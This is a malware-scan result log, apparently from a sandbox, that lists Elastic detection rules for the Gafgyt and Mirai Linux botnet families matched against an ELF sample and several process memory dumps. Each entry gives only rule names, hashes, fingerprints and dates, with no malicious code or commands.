Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 7c50ed29e2dd75a6a85afc43f8452794cb787ecd2061f4bf415d7038c14c523f, id = 32eb0c81-25af-4670-ab77-07ea7ce1874a, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_3fe3c668 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 2a79caea707eb0ecd740106ea4bed2918e7592c1e5ad6050f6f0992cf31ba5ec, id = 3fe3c668-89f4-4601-a167-f41bbd984ae5, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_637f2c04 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7af3d573af8b7f8252590a53adda52ecf53bdaf9a86b52ef50702f048e08ba8c, id = 637f2c04-98e4-45aa-b60a-14a96c6cebb7, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 6834f65d54bbfb926f986fe2dd72cd30bf9804ed65fcc71c2c848e72350f386a, id = e0673a90-165e-4347-a965-e8d14fdf684b, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6, id = d0c57a2e-c10c-436c-be13-50a269326cf2, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ea8ed60190198d5887bb7093975d648a9fd78234827d648a8258008c965b1c1, id = 656bf077-ca0c-4d28-9daa-eb6baafaf467, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 7c50ed29e2dd75a6a85afc43f8452794cb787ecd2061f4bf415d7038c14c523f, id = 32eb0c81-25af-4670-ab77-07ea7ce1874a, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 2a79caea707eb0ecd740106ea4bed2918e7592c1e5ad6050f6f0992cf31ba5ec, id = 3fe3c668-89f4-4601-a167-f41bbd984ae5, last_modified = 2021-09-16
Source: 5488.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7af3d573af8b7f8252590a53adda52ecf53bdaf9a86b52ef50702f048e08ba8c, id = 637f2c04-98e4-45aa-b60a-14a96c6cebb7, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 6834f65d54bbfb926f986fe2dd72cd30bf9804ed65fcc71c2c848e72350f386a, id = e0673a90-165e-4347-a965-e8d14fdf684b, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6, id = d0c57a2e-c10c-436c-be13-50a269326cf2, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ea8ed60190198d5887bb7093975d648a9fd78234827d648a8258008c965b1c1, id = 656bf077-ca0c-4d28-9daa-eb6baafaf467, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 7c50ed29e2dd75a6a85afc43f8452794cb787ecd2061f4bf415d7038c14c523f, id = 32eb0c81-25af-4670-ab77-07ea7ce1874a, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 2a79caea707eb0ecd740106ea4bed2918e7592c1e5ad6050f6f0992cf31ba5ec, id = 3fe3c668-89f4-4601-a167-f41bbd984ae5, last_modified = 2021-09-16
Source: 5489.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7af3d573af8b7f8252590a53adda52ecf53bdaf9a86b52ef50702f048e08ba8c, id = 637f2c04-98e4-45aa-b60a-14a96c6cebb7, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5494.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
